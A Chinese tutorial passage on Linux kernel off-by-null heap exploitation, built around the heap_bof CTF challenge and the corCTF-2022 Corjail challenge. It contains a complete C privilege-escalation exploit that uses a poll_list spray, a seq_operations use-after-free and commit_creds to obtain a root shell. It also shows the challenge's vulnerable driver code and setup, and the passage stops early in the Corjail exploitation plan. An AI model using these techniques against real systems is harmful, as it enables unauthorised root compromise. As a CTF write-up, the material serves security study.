Linux kernel 堆溢出利用方法(二)

打印 上一主题 下一主题

主题 862|帖子 862|积分 2586

媒介

本文我们通过我们的老朋友heap_bof来讲解Linux kernel中off-by-null的利用手法。在通过讲解另一道相对来说比较困难的kernel off-by-null + docker escape来深入相识这种漏洞的利用手法。(没相识过docker逃逸的朋友也可以看懂,究竟有了root权限后,docker逃逸就变的相对简单了)。
off by null

我们照旧使用上一篇的例题heap_bof来讲解这种利用手法,现在我们假设这道题没有提供free,而且只有单字节溢出,而且溢出的单字节只能是NULL,那么我们应该怎麼去利用呢?
利用思路

boot.sh
  1. #!/bin/bash
  2. qemu-system-x86_64 \
  3.  -initrd rootfs.img \
  4.  -kernel bzImage \
  5.  -m 1G \
  6.  -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet nokaslr' \
  7.  -monitor /dev/null \
  8.  -s \
  9.  -cpu kvm64 \
  10.  -smp cores=1,threads=2 \
  11.  --nographic
复制代码
poll系统调用
  1. /*
  2. *   @fds: pollfd类型的一个数组
  3. *   @nfds: 前面的参数fds中条目的个数
  4. *   @timeout: 事件发生的毫秒数
  5. */
  6. int poll(struct pollfd *fds, nfds_t nfds, int timeout);
复制代码
poll_list 结构体对象是在调用 poll() 时分配,该调用可以监视 1 个或多个文件描述符的活动。
  1. struct pollfd {
  2.     int fd;
  3.     short events;
  4.     short revents;
  5. };
  6. struct poll_list {
  7.    struct poll_list *next; // 指向下一个poll_list
  8.    int len; // 对应于条目数组中pollfd结构的数量
  9.    struct pollfd entries[]; // 存储pollfd结构的数组
  10. };
复制代码
poll_list 结构如下图所示,前 30 个 poll_fd 在栈上,后面的都在堆上,最多 510 个 poll_fd 在一个堆上的 poll_list 上,堆上的 poll_list 最大为 0x1000。
[img=720,543.7190082644628]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202411071659933.png[/img]

poll_list 分配/开释
do_sys_poll 函数完成 poll_list 的分配和开释。poll_list 的是超时主动开释的,我们可以指定 poll_list 的开释时间。
  1. #define POLL_STACK_ALLOC    256
  2. #define PAGE_SIZE 4096
  3. //(4096-16)/8 = 510(堆上存放pollfd最大数量)
  4. #define POLLFD_PER_PAGE  ((PAGE_SIZE-sizeof(struct poll_list)) / sizeof(struct pollfd))
  5. //(256-16)/8 = 30 (栈上存放pollfd最大数量)
  6. #define N_STACK_PPS ((sizeof(stack_pps) - sizeof(struct poll_list))  / sizeof(struct pollfd))
  7. [...]
  8. static int do_sys_poll(struct pollfd __user *ufds, unsigned int nfds,
  9.         struct timespec64 *end_time)
  10. {
  11.    struct poll_wqueues table;
  12.    int err = -EFAULT, fdcount, len;
  13.    /* Allocate small arguments on the stack to save memory and be
  14.       faster - use long to make sure the buffer is aligned properly
  15.       on 64 bit archs to avoid unaligned access */
  16.                
  17.    /*
  18.    *  [1] stack_pps 256 字节的栈缓冲区, 负责存储前 30 个 pollfd entry
  19.    */
  20.    long stack_pps[POLL_STACK_ALLOC/sizeof(long)];
  21.    struct poll_list *const head = (struct poll_list *)stack_pps;
  22.    struct poll_list *walk = head;
  23.     unsigned long todo = nfds;
  24.     if (nfds > rlimit(RLIMIT_NOFILE))
  25.         return -EINVAL;
  26.     /*
  27.     *  [2] 前30个 pollfd entry 先存放在栈上,节省内存和时间
  28.     */
  29.     len = min_t(unsigned int, nfds, N_STACK_PPS);
  30.     for (;;) {
  31.         walk->next = NULL;
  32.         walk->len = len;
  33.         if (!len)
  34.             break;
  35.         if (copy_from_user(walk->entries, ufds + nfds-todo, sizeof(struct pollfd) * walk->len))
  36.             goto out_fds;
  37.         todo -= walk->len;
  38.         if (!todo)
  39.             break;
  40.        /*
  41.        *   [3] 如果提交超过30个 pollfd entries,就会把多出来的 pollfd 放在内核堆上。
  42.        *   每个page 最多存 POLLFD_PER_PAGE (510) 个entry,
  43.        *   超过这个数,则分配新的 poll_list, 依次循环直到存下所有传入的 entry
  44.        */
  45.         len = min(todo, POLLFD_PER_PAGE);
  46.        /*
  47.        *   [4] 只要控制好被监控的文件描述符数量,就能控制分配size,从 kmalloc-32 到 kmalloc-4k
  48.        */
  49.         walk = walk->next = kmalloc(struct_size(walk, entries, len), GFP_KERNEL);           
  50.         if (!walk) {
  51.             err = -ENOMEM;
  52.             goto out_fds;
  53.         }
  54.     }
  55.     poll_initwait(&table);
  56.    /*
  57.    *   [5] 分配完 poll_list 对象后,调用 do_poll() 来监控这些文件描述符,直到发生特定 event 或者超时。
  58.    *   这里 end_time 就是最初传给 poll() 的超时变量, 这表示 poll_list 对象可以在内存中保存任意时长,超时后自动释放。
  59.    */
  60.     fdcount = do_poll(head, &table, end_time);  
  61.     poll_freewait(&table);
  62.     if (!user_write_access_begin(ufds, nfds * sizeof(*ufds))and)
  63.         goto out_fds;
  64.     for (walk = head; walk; walk = walk->next) {
  65.         struct pollfd *fds = walk->entries;
  66.         int j;
  67.         for (j = walk->len; j; fds++, ufds++, j--)
  68.             unsafe_put_user(fds->revents, &ufds->revents, Efault);
  69.     }
  70.     user_write_access_end();
  71.     err = fdcount;
  72. out_fds:
  73.     walk = head->next;
  74.     while (walk) {      // [6] 释放 poll_list: 遍历单链表, 释放每一个 poll_list, 这里可以利用
  75.         struct poll_list *pos = walk;
  76.         walk = walk->next;
  77.         kfree(pos);
  78.     }
  79.     return err;
  80. Efault:
  81.     user_write_access_end();
  82.     err = -EFAULT;
  83.     goto out_fds;
  84. }
复制代码
我们可以去找到一些结构体,其头 8 字节是一个指针,然后利用 off by null 去破坏该指针,比如使得 0xXXXXa0 变成 0xXXXX00,然后就可以思量利用堆喷去构造 UAF 了。
【----资助网安学习,以下所有学习资料免费领!加vx:dctintin,备注 “博客园” 获取!】
 ① 网安学习发展路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析陈诉
 ④ 150+网安攻防实战技能电子书
 ⑤ 最权势巨子CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
详细流程

  • 首先分配 kmalloc-4096 大小的结构题在ptr[0];
  • 然后构造如许的poll_list结构体。
    [img=720,437.9236043095005]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202411071659934.png[/img]

  • 利用off-by-null将poll_list->next的末了一个字节改为空。然后大量分配kmalloc-32的obj内存,这里只所以是 32 字节大小是因为要与后面的 seq_operations 配合,而且 32 大小的 object 其低字节是大概为 \x00 的,其低字节为 0x20、0x40、0x80 、0xa0、0xc0、0xe0、0x00。运气好可以被我们篡改后的poll_list->next指到。但对于这道题来说我们没有充足的堆块用于堆喷,所以乐成率是极低的。
    [img=720,385.8904109589041]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202411071659935.png[/img]

  • 等待poll_list线程执行完毕,而且我们分配的kmalloc-32被错误开释,分配大量的seq_operations,运气好可以正好被分配到我们开释的kmalloc-32,形成UAF,如许我们就可以利用UAF修改seq_operations->start指针指向提权代码。
  • 提权可以参考上一篇文章,利用栈上的残留值来bypass kaslr。
exp
  1. #ifndef _GNU_SOURCE
  2. #define _GNU_SOURCE
  3. #endif
  4. #include <asm/ldt.h>
  5. #include <assert.h>
  6. #include <ctype.h>
  7. #include <errno.h>
  8. #include <fcntl.h>
  9. #include <linux/keyctl.h>
  10. #include <linux/userfaultfd.h>
  11. #include <poll.h>
  12. #include <pthread.h>
  13. #include <sched.h>
  14. #include <semaphore.h>
  15. #include <signal.h>
  16. #include <stdbool.h>
  17. #include <stdint.h>
  18. #include <stdio.h>
  19. #include <stdlib.h>
  20. #include <string.h>
  21. #include <sys/ioctl.h>
  22. #include <sys/ipc.h>
  23. #include <sys/mman.h>
  24. #include <sys/msg.h>
  25. #include <sys/prctl.h>
  26. #include <sys/sem.h>
  27. #include <sys/shm.h>
  28. #include <sys/socket.h>
  29. #include <sys/syscall.h>
  30. #include <sys/types.h>
  31. #include <sys/wait.h>
  32. #include <sys/xattr.h>
  33. #include <unistd.h>
  34. #include <sys/sysinfo.h>
  35. #define BOF_MALLOC 5
  36. #define BOF_FREE 7
  37. #define BOF_EDIT 8
  38. #define BOF_READ 9
  39. #define SEQ_NUM (2048 + 128)
  40. #define TTY_NUM 72
  41. #define PIPE_NUM 1024
  42. #define KEY_NUM 199
  43. char buf[0x20];
  44. int bof_fd;
  45. int key_id[KEY_NUM];
  46. #define N_STACK_PPS 30
  47. #define POLL_NUM 0x1000
  48. #define PAGE_SIZE 0x1000
  49. struct param {
  50.    size_t len;        // 内容长度
  51.    char *buf;         // 用户态缓冲区地址
  52.    unsigned long idx; // 表示 ptr 数组的 索引
  53. };
  54. size_t user_cs, user_rflags, user_sp, user_ss;
  55. void save_status() {
  56.    __asm__("mov user_cs, cs;"
  57.            "mov user_ss, ss;"
  58.            "mov user_sp, rsp;"
  59.            "pushf;"
  60.            "pop user_rflags;");
  61.    puts("[*] status has been saved.");
  62. }
  63. void get_shell(void) {
  64.    system("/bin/sh");
  65. }
  66. void qword_dump(char *desc, void *addr, int len) {
  67.    uint64_t *buf64 = (uint64_t *) addr;
  68.    uint8_t *buf8 = (uint8_t *) addr;
  69.    if (desc != NULL) {
  70.        printf("[*] %s:\n", desc);
  71.    }
  72.    for (int i = 0; i < len / 8; i += 4) {
  73.        printf("  %04x", i * 8);
  74.        for (int j = 0; j < 4; j++) {
  75.            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
  76.        }
  77.        printf("   ");
  78.        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
  79.            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
  80.        }
  81.        puts("");
  82.    }
  83. }
  84. /*--------------------------------------------------------------------------------------------------*/
  85. struct callback_head {
  86.    struct callback_head *next;
  87.    void (*func)(struct callback_head *head);
  88. } __attribute__((aligned(sizeof(void *))));
  89. #define rcu_head callback_head
  90. #define __aligned(x)                    __attribute__((__aligned__(x)))
  91. typedef unsigned long long u64;
  92. struct user_key_payload {
  93.    struct rcu_head rcu;        /* RCU destructor */
  94.    unsigned short datalen;    /* length of this data */
  95.    char data[0] __aligned(__alignof__(u64)); /* actual data */
  96. };
  97. int key_alloc(int id, void *payload, int payload_len) {
  98.    char description[0x10] = {};
  99.    sprintf(description, "pwn_%d", id);
  100.    return key_id[id] = syscall(__NR_add_key, "user", description, payload, payload_len - sizeof(struct user_key_payload), KEY_SPEC_PROCESS_KEYRING);
  101. }
  102. int key_update(int id, void *payload, size_t plen) {
  103.    return syscall(__NR_keyctl, KEYCTL_UPDATE, key_id[id], payload, plen);
  104. }
  105. int key_read(int id, void *bufer, size_t buflen) {
  106.    return syscall(__NR_keyctl, KEYCTL_READ, key_id[id], bufer, buflen);
  107. }
  108. int key_revoke(int id) {
  109.    return syscall(__NR_keyctl, KEYCTL_REVOKE, key_id[id], 0, 0, 0);
  110. }
  111. int key_unlink(int id) {
  112.    return syscall(__NR_keyctl, KEYCTL_UNLINK, key_id[id], KEY_SPEC_PROCESS_KEYRING);
  113. }
  114. /*--------------------------------------------------------------------------------------------------*/
  115. pthread_t tid[40];
  116. typedef struct {
  117.    int nfds, timer;
  118. } poll_args;
  119. struct poll_list {
  120.    struct poll_list *next;
  121.    int len;
  122.    struct pollfd entries[];
  123. };
  124. void* alloc_poll_list(void *args) {
  125.    int nfds = ((poll_args *) args)->nfds;
  126.    int timer = ((poll_args *) args)->timer;
  127.    struct pollfd *pfds = calloc(nfds, sizeof(struct pollfd));
  128.    for (int i = 0; i < nfds; i++) {
  129.        pfds[i].fd = open("/etc/passwd", O_RDONLY);
  130.        pfds[i].events = POLLERR;
  131.    }
  132.    poll(pfds, nfds, timer);
  133. }
  134. void* create_poll_list(size_t size, int timer, int i) {
  135.    poll_args *args = calloc(1, sizeof(poll_args));
  136.    args->nfds = (size - (size + PAGE_SIZE - 1) / PAGE_SIZE * sizeof(struct poll_list)) / sizeof(struct pollfd) + N_STACK_PPS;
  137.    args->timer = timer;
  138.    pthread_create(&tid[i], NULL, alloc_poll_list, args);
  139. }
  140. /*--------------------------------------------------------------------------------------------------*/
  141. struct list_head {
  142.    struct list_head *next, *prev;
  143. };
  144. struct tty_file_private {
  145.    struct tty_struct *tty;
  146.    struct file *file;
  147.    struct list_head list;
  148. };
  149. struct page;
  150. struct pipe_inode_info;
  151. struct pipe_buf_operations;
  152. struct pipe_bufer {
  153.    struct page *page;
  154.    unsigned int offset, len;
  155.    const struct pipe_buf_operations *ops;
  156.    unsigned int flags;
  157.    unsigned long private;
  158. };
  159. struct pipe_buf_operations {
  160.    int (*confirm)(struct pipe_inode_info *, struct pipe_bufer *);
  161.    void (*release)(struct pipe_inode_info *, struct pipe_bufer *);
  162.    int (*try_steal)(struct pipe_inode_info *, struct pipe_bufer *);
  163.    int (*get)(struct pipe_inode_info *, struct pipe_bufer *);
  164. };
  165. /*--------------------------------------------------------------------------------------------------*/
  166. void *(*commit_creds)(void *) = (void *) 0xFFFFFFFF810A1340;
  167. void *init_cred = (void *) 0xFFFFFFFF81E496C0;
  168. size_t user_rip = (size_t) get_shell;
  169. size_t kernel_offset;
  170. void get_root() {
  171.    __asm__(
  172.        "mov rax, [rsp + 8];"
  173.        "mov kernel_offset, rax;"
  174.    );
  175.    kernel_offset -= 0xffffffff81229378;
  176.    commit_creds = (void *) ((size_t) commit_creds + kernel_offset);
  177.    init_cred = (void *) ((size_t) init_cred + kernel_offset);
  178.    commit_creds(init_cred);
  179.    __asm__(
  180.        "swapgs;"
  181.        "push user_ss;"
  182.        "push user_sp;"
  183.        "push user_rflags;"
  184.        "push user_cs;"
  185.        "push user_rip;"
  186.        "iretq;"
  187.    );
  188. }
  189. /*--------------------------------------------------------------------------------------------------*/
  190. int main() {
  191.    save_status();
  192.    signal(SIGSEGV, (void *) get_shell);
  193.    bof_fd = open("dev/bof", O_RDWR);
  194.    int seq_fd[SEQ_NUM];
  195.    printf("[*] try to alloc_kmalloc-4096\n");
  196.    size_t* mem = malloc(0x1010);
  197.    memset(mem, '\xff', 0x1010);
  198.    struct param p = {0x1000, (char*)mem, 0};
  199.    ioctl(bof_fd, BOF_MALLOC, &p);
  200.    printf("[*] try to spary kmalloc-32\n");
  201.    p.len = 0x20;
  202.    for (int i = 1; i < 20; ++i)
  203.    {
  204.        p.idx = i;
  205.        memset(mem, i, 0x20);
  206.        memset(mem, 0, 0x18);
  207.        ioctl(bof_fd, BOF_MALLOC, &p);
  208.        ioctl(bof_fd, BOF_EDIT, &p);
  209.    }
  210.    printf("[*] try to alloc_poll_list\n");
  211.    for (int i = 0; i < 14; ++i)
  212.    {
  213.        create_poll_list(PAGE_SIZE + sizeof(struct poll_list) + sizeof(struct pollfd), 3000, i);
  214.    }
  215.    printf("[*] try to spary kmalloc-32\n");
  216.    p.len = 0x20;
  217.    for (int i = 20; i < 40; ++i)
  218.    {
  219.        p.idx = i;
  220.        memset(mem, i, 0x20);
  221.        memset(mem, 0, 0x18);
  222.        ioctl(bof_fd, BOF_MALLOC, &p);
  223.        ioctl(bof_fd, BOF_EDIT, &p);
  224.    }
  225.    sleep(1);
  226. //    调试用代码
  227. //    p.len = 0x1010;
  228. //    p.idx = 0;
  229. //    ioctl(bof_fd, BOF_READ, &p);
  230. //    printf("[*] p->buf == %p\n", (size_t*)mem[0x1008/8]);
  231.    p.len = 0x1001;
  232.    p.idx = 0;
  233.    memset(mem, '\x00', 0x1001);
  234.    ioctl(bof_fd, BOF_EDIT, &p);
  235.    void *res;
  236.    for (int i = 0; i < 14; ++i)
  237.    {
  238.        printf("[*] wating for poll end\n");
  239.        pthread_join(tid[i], &res);
  240.    }
  241.    for (int i = 0; i < 256; ++i)
  242.    {
  243.        seq_fd[i] = open("/proc/self/stat", O_RDONLY);
  244.    }
  245.    sleep(1);
  246.    for (int i = 1; i < 40; ++i)
  247.    {
  248.        p.idx = i;
  249.        p.len = 0x20;
  250.        ioctl(bof_fd, BOF_READ, &p);
  251.        printf("[%d->0] p->buf == %p\n", i, (size_t*)mem[0]);
  252.        printf("[%d->1] p->buf == %p\n", i, (size_t*)mem[1]);
  253.        printf("[%d->2] p->buf == %p\n", i, (size_t*)mem[2]);
  254.        printf("[%d->3] p->buf == %p\n", i, (size_t*)mem[3]);
  255.        mem[0] = (size_t*)get_root;
  256.        mem[1] = (size_t*)get_root;
  257.        mem[2] = (size_t*)get_root;
  258.        mem[3] = (size_t*)get_root;
  259.        ioctl(bof_fd, BOF_EDIT, &p);
  260.    }
  261.    for (int i = 1; i < 40; ++i)
  262.    {
  263.        p.idx = i;
  264.        p.len = 0x20;
  265.        ioctl(bof_fd, BOF_READ, &p);
  266.        printf("[%d->0] p->buf == %p\n", i, (size_t*)mem[0]);
  267.        printf("[%d->1] p->buf == %p\n", i, (size_t*)mem[1]);
  268.        printf("[%d->2] p->buf == %p\n", i, (size_t*)mem[2]);
  269.        printf("[%d->3] p->buf == %p\n", i, (size_t*)mem[3]);
  270.    }
  271.    for (int i = 0; i < 256; i++) {
  272.        read(seq_fd[i], p.buf, 1);
  273.    }
  274.    return 0;
  275. }
复制代码
corCTF-2022:Corjail

题目分析

我们可以使用 Guestfish 工具读取和修改 qcow2 文件。
run_challenge.sh
  1. #!/bin/sh
  2. qemu-system-x86_64 \
  3.    -m 1G \
  4.    -nographic \
  5.    -no-reboot \
  6.    -kernel bzImage \
  7.    -append "console=ttyS0 root=/dev/sda quiet loglevel=3 rd.systemd.show_status=auto rd.udev.log_level=3 oops=panic panic=-1 net.ifnames=0 pti=on" \
  8.    -hda coros.qcow2 \
  9.    -snapshot \
  10.    -monitor /dev/null \
  11.    -cpu qemu64,+smep,+smap,+rdrand \
  12.    -smp cores=4 \
  13.    --enable-kvm
复制代码
init脚本
查看服务历程/etc/systemd/system/init.service;
  1. Description=Initialize challenge
  2. [Service]
  3. Type=oneshot
  4. ExecStart=/usr/local/bin/init
  5. [Install]
  6. WantedBy=multi-user.target
复制代码
查看 /usr/local/bin/init 脚本;
  1. cat /usr/local/bin/init
  2. #!/bin/bash
  3. USER=user
  4. FLAG=$(head -n 100 /dev/urandom | sha512sum | awk '{printf $1}')
  5. useradd --create-home --shell /bin/bash $USER
  6. echo "export PS1='\[\033[01;31m\]\u@CoROS\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]# '"  >> /root/.bashrc
  7. echo "export PS1='\[\033[01;35m\]\u@CoROS\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '" >> /home/$USER/.bashrc
  8. chmod -r 0700 /home/$USER
  9. mv /root/temp /root/$FLAG
  10. chmod 0400 /root/$FLAG
复制代码
password
  1. ❯ guestfish --rw -a coros.qcow2
  2. ><fs> run
  3. ><fs> list-filesystems
  4. /dev/sda: ext4
  5. ><fs> mount /dev/sda /
  6. ><fs> cat /etc/password
  7. libguestfs: error: download: /etc/password: No such file or directory
  8. ><fs> cat /etc/passwd
  9. root:x:0:0:root:/root:/usr/local/bin/jail
  10. daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  11. ......
复制代码
root_shell
查看root用户的/usr/local/bin/jail;
  1. ><fs> cat /usr/local/bin/jail
  2. #!/bin/bash
  3. echo -e '[\033[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...'
  4. /usr/bin/docker run -it --user user \
  5.     --hostname CoRJail \
  6.    --security-opt seccomp=/etc/docker/corjail.json \
  7.    -v /proc/cormon:/proc_rw/cormon:rw corcontainer
  8. /bin/bash
  9. /usr/sbin/poweroff -f
复制代码
发现其启动root的 shell 后是首先调用 docker来构建了一个容器然后关闭自身,在那之后我们起的假造环境就是处于该docker容器当中。
为了方便调试,我们可以使用edit将其修改为:
  1. ><fs> edit /usr/local/bin/jail
  2. ><fs> cat /usr/local/bin/jail
  3. #!/bin/bash
  4. echo -e '[\033[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...'
  5. cp /exploit /home/user || echo "[!] exploit not found, skipping"
  6. chown -R user:user /home/user
  7. echo 0 > /proc/sys/kernel/kptr_restrict
  8. /usr/bin/docker run -it --user root \
  9.  --hostname CoRJail \
  10.  --security-opt seccomp=/etc/docker/corjail.json \
  11.  # 允许容器能够调用与日志相关的系统调用
  12.  --cap-add CAP_SYSLOG \
  13.  # 将宿主机的 /proc/cormon 目录挂载到容器内的 /proc_rw/cormon,并且以读写模式挂载。
  14.  -v /proc/cormon:/proc_rw/cormon:rw \
  15.  # 将宿主机的 /home/user/ 目录挂载到容器内的 /home/user/host
  16.  -v /home/user/:/home/user/host \
  17.   corcontainer
  18. /bin/bash
  19. /usr/sbin/poweroff -f
复制代码
edit 的用法和 vim 一样。
后面我们上传 exp 的时间可以使用 upload 下令,其格式如下:
  1. ><fs> help upload
  2. NAME
  3.    upload - upload a file from the local machine
  4. SYNOPSIS
  5.     upload filename remotefilename
  6. DESCRIPTION
  7.    Upload local file filename to remotefilename on the filesystem.
  8.    filename can also be a named pipe.
  9.    See also "download".
复制代码
kernel_patch
  1. diff -ruN a/arch/x86/entry/syscall_64.c b/arch/x86/entry/syscall_64.c
  2. --- a/arch/x86/entry/syscall_64.c   2022-06-29 08:59:54.000000000 +0200
  3. +++ b/arch/x86/entry/syscall_64.c   2022-07-02 12:34:11.237778657 +0200
  4. @@ -17,6 +17,9 @@
  5. #define __SYSCALL_64(nr, sym) [nr] = __x64_##sym,
  6. +DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count);
  7. +EXPORT_PER_CPU_SYMBOL(__per_cpu_syscall_count);
  8. +
  9. asmlinkage const sys_call_ptr_t sys_call_table[__NR_syscall_max+1] = {
  10.     /*
  11.      * Smells like a compiler bug -- it doesn't work
  12. diff -ruN a/arch/x86/include/asm/syscall_wrapper.h b/arch/x86/include/asm/syscall_wrapper.h
  13. --- a/arch/x86/include/asm/syscall_wrapper.h    2022-06-29 08:59:54.000000000 +0200
  14. +++ b/arch/x86/include/asm/syscall_wrapper.h    2022-07-02 12:34:11.237778657 +0200
  15. @@ -245,7 +245,7 @@
  16.   * SYSCALL_DEFINEx() -- which is essential for the COND_SYSCALL() and SYS_NI()
  17.   * macros to work correctly.
  18.   */
  19. -#define SYSCALL_DEFINE0(sname)                     \
  20. +#define __SYSCALL_DEFINE0(sname)                       \
  21.     SYSCALL_METADATA(_##sname, 0);                  \
  22.     static long __do_sys_##sname(const struct pt_regs *__unused);   \
  23.     __X64_SYS_STUB0(sname)                      \
  24. diff -ruN a/include/linux/syscalls.h b/include/linux/syscalls.h
  25. --- a/include/linux/syscalls.h  2022-06-29 08:59:54.000000000 +0200
  26. +++ b/include/linux/syscalls.h  2022-07-02 12:34:11.237778657 +0200
  27. @@ -82,6 +82,7 @@
  28. #include <linux/key.h>
  29. #include <linux/personality.h>
  30. #include <trace/syscall.h>
  31. +#include <asm/syscall.h>
  32. #ifdef CONFIG_ARCH_HAS_SYSCALL_WRAPPER
  33. /*
  34. @@ -202,8 +203,8 @@
  35. }
  36. #endif
  37. -#ifndef SYSCALL_DEFINE0
  38. -#define SYSCALL_DEFINE0(sname)                 \
  39. +#ifndef __SYSCALL_DEFINE0
  40. +#define __SYSCALL_DEFINE0(sname)                   \
  41.     SYSCALL_METADATA(_##sname, 0);              \
  42.     asmlinkage long sys_##sname(void);          \
  43.     ALLOW_ERROR_INJECTION(sys_##sname, ERRNO);      \
  44. @@ -219,9 +220,41 @@
  45. #define SYSCALL_DEFINE_MAXARGS 6
  46. -#define SYSCALL_DEFINEx(x, sname, ...)             \
  47. -   SYSCALL_METADATA(sname, x, __VA_ARGS__)         \
  48. -   __SYSCALL_DEFINEx(x, sname, __VA_ARGS__)
  49. +DECLARE_PER_CPU(u64[], __per_cpu_syscall_count);
  50. +
  51. +#define SYSCALL_COUNT_DECLAREx(sname, x, ...) \
  52. +   static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__));
  53. +
  54. +#define __SYSCALL_COUNT(syscall_nr) \
  55. +   this_cpu_inc(__per_cpu_syscall_count[(syscall_nr)])
  56. +
  57. +#define SYSCALL_COUNT_FUNCx(sname, x, ...)                 \
  58. +   {                                   \
  59. +       __SYSCALL_COUNT(__syscall_meta_##sname.syscall_nr);     \
  60. +       return __count_sys##sname(__MAP(x, __SC_CAST, __VA_ARGS__));    \
  61. +   }                                   \
  62. +   static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__))
  63. +
  64. +#define SYSCALL_COUNT_DECLARE0(sname) \
  65. +   static inline long __count_sys_##sname(void);
  66. +
  67. +#define SYSCALL_COUNT_FUNC0(sname)                 \
  68. +   {                               \
  69. +       __SYSCALL_COUNT(__syscall_meta__##sname.syscall_nr);    \
  70. +       return __count_sys_##sname();               \
  71. +   }                               \
  72. +   static inline long __count_sys_##sname(void)
  73. +
  74. +#define SYSCALL_DEFINEx(x, sname, ...)         \
  75. +   SYSCALL_METADATA(sname, x, __VA_ARGS__)     \
  76. +   SYSCALL_COUNT_DECLAREx(sname, x, __VA_ARGS__)   \
  77. +   __SYSCALL_DEFINEx(x, sname, __VA_ARGS__)    \
  78. +   SYSCALL_COUNT_FUNCx(sname, x, __VA_ARGS__)
  79. +
  80. +#define SYSCALL_DEFINE0(sname)     \
  81. +   SYSCALL_COUNT_DECLARE0(sname)   \
  82. +   __SYSCALL_DEFINE0(sname)    \
  83. +   SYSCALL_COUNT_FUNC0(sname)
  84. #define __PROTECT(...) asmlinkage_protect(__VA_ARGS__)
  85. diff -ruN a/kernel/trace/trace_syscalls.c b/kernel/trace/trace_syscalls.c
  86. --- a/kernel/trace/trace_syscalls.c 2022-06-29 08:59:54.000000000 +0200
  87. +++ b/kernel/trace/trace_syscalls.c 2022-07-02 12:34:32.902426748 +0200
  88. @@ -101,7 +101,7 @@
  89.     return NULL;
  90. }
  91. -static struct syscall_metadata *syscall_nr_to_meta(int nr)
  92. +struct syscall_metadata *syscall_nr_to_meta(int nr)
  93. {
  94.     if (IS_ENABLED(CONFIG_HAVE_SPARSE_SYSCALL_NR))
  95.         return xa_load(&syscalls_metadata_sparse, (unsigned long)nr);
  96. @@ -111,6 +111,7 @@
  97.     return syscalls_metadata[nr];
  98. }
  99. +EXPORT_SYMBOL(syscall_nr_to_meta);
  100. const char *get_syscall_name(int syscall)
  101. {
  102. @@ -122,6 +123,7 @@
  103.     return entry->name;
  104. }
  105. +EXPORT_SYMBOL(get_syscall_name);
  106. static enum print_line_t
  107. print_syscall_enter(struct trace_iterator *iter, int flags,
复制代码
其中
  1. +DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count);
复制代码
为每个CPU都创建一个 __per_cpu_syscall_count变量用来记录系统调用的次数。
seccomp.json 保存了系统调用的白名单。
  1. {
  2.     "defaultAction": "SCMP_ACT_ERRNO",
  3.     "defaultErrnoRet": 1,
  4.     "syscalls": [
  5.         {
  6.             "names": [ "_llseek", "_newselect", "accept", "accept4", "access", ... ],
  7.             "action": "SCMP_ACT_ALLOW"
  8.         },
  9.         {
  10.             "names": [ "clone" ],
  11.             "action": "SCMP_ACT_ALLOW",
  12.             "args": [ { "index": 0, "value": 2114060288, "op": "SCMP_CMP_MASKED_EQ" } ]
  13.         }
  14.     ]
  15. }
复制代码
根据README.md提示,可以在proc_rw/cormon看到使用到的系统调用在各个CPU当中的环境。
  1. root@CoRJail:/# cat /proc_rw/cormon
  2.      CPU0      CPU1      CPU2      CPU3    Syscall (NR)
  3.         9        16        25        18    sys_poll (7)
  4.         0         0         0         0    sys_fork (57)
  5.        66        64        79        60    sys_execve (59)
  6.         0         0         0         0    sys_msgget (68)
  7.         0         0         0         0    sys_msgsnd (69)
  8.         0         0         0         0    sys_msgrcv (70)
  9.         0         0         0         0    sys_ptrace (101)
  10.        15        19        11         6    sys_setxattr (188)
  11.        27        24        11        20    sys_keyctl (250)
  12.         0         0         2         2    sys_unshare (272)
  13.         0         1         0         0    sys_execveat (322)
复制代码
也可以指定系统调用。
  1. root@CoRJail:/# echo -n 'sys_msgsnd,sys_msgrcv' > /proc_rw/cormon
  2. root@CoRJail:/# cat /proc_rw/cormon
  3.      CPU0      CPU1      CPU2      CPU3    Syscall (NR)
  4.         0         0         0         0    sys_msgsnd (69)
  5.         0         0         0         0    sys_msgrcv (70)
复制代码
src.c
可以看到 write 存在明显的off-by-null。
  1. static ssize_t cormon_proc_write(struct file *file, const char __user *ubuf, size_t count, loff_t *ppos)
  2. {
  3.    loff_t offset = *ppos;
  4.    char *syscalls;
  5.    size_t len;
  6.    if (offset < 0)
  7.        return -EINVAL;
  8.    if (offset >= PAGE_SIZE || !count)
  9.        return 0;
  10.    len = count > PAGE_SIZE ? PAGE_SIZE - 1 : count;
  11.    syscalls = kmalloc(PAGE_SIZE, GFP_ATOMIC);
  12.    printk(KERN_INFO "[CoRMon::Debug] Syscalls @ %#llx\n", (uint64_t)syscalls);
  13.    if (!syscalls)
  14.    {
  15.        printk(KERN_ERR "[CoRMon::Error] kmalloc() call failed!\n");
  16.        return -ENOMEM;
  17.    }
  18.    if (copy_from_user(syscalls, ubuf, len))
  19.    {
  20.        printk(KERN_ERR "[CoRMon::Error] copy_from_user() call failed!\n");
  21.        return -EFAULT;
  22.    }
  23.    syscalls[len] = '\x00';
  24.    if (update_filter(syscalls))
  25.    {
  26.        kfree(syscalls);
  27.        return -EINVAL;
  28.    }
  29.    kfree(syscalls);
  30.    return count;
  31. }
复制代码
利用思路

在 poll_list 利用方式中:

  • 先通过 add_key() 堆喷大量 32 字节大小的 user_key_payload。
这里只所以是 32 字节大小是因为要与后面的 seq_operations 配合,而且 32 大小的 object 其低字节是大概为 \x00 的,其低字节为 0x20、0x40、0x80 、0xa0、0xc0、0xe0、0x00。


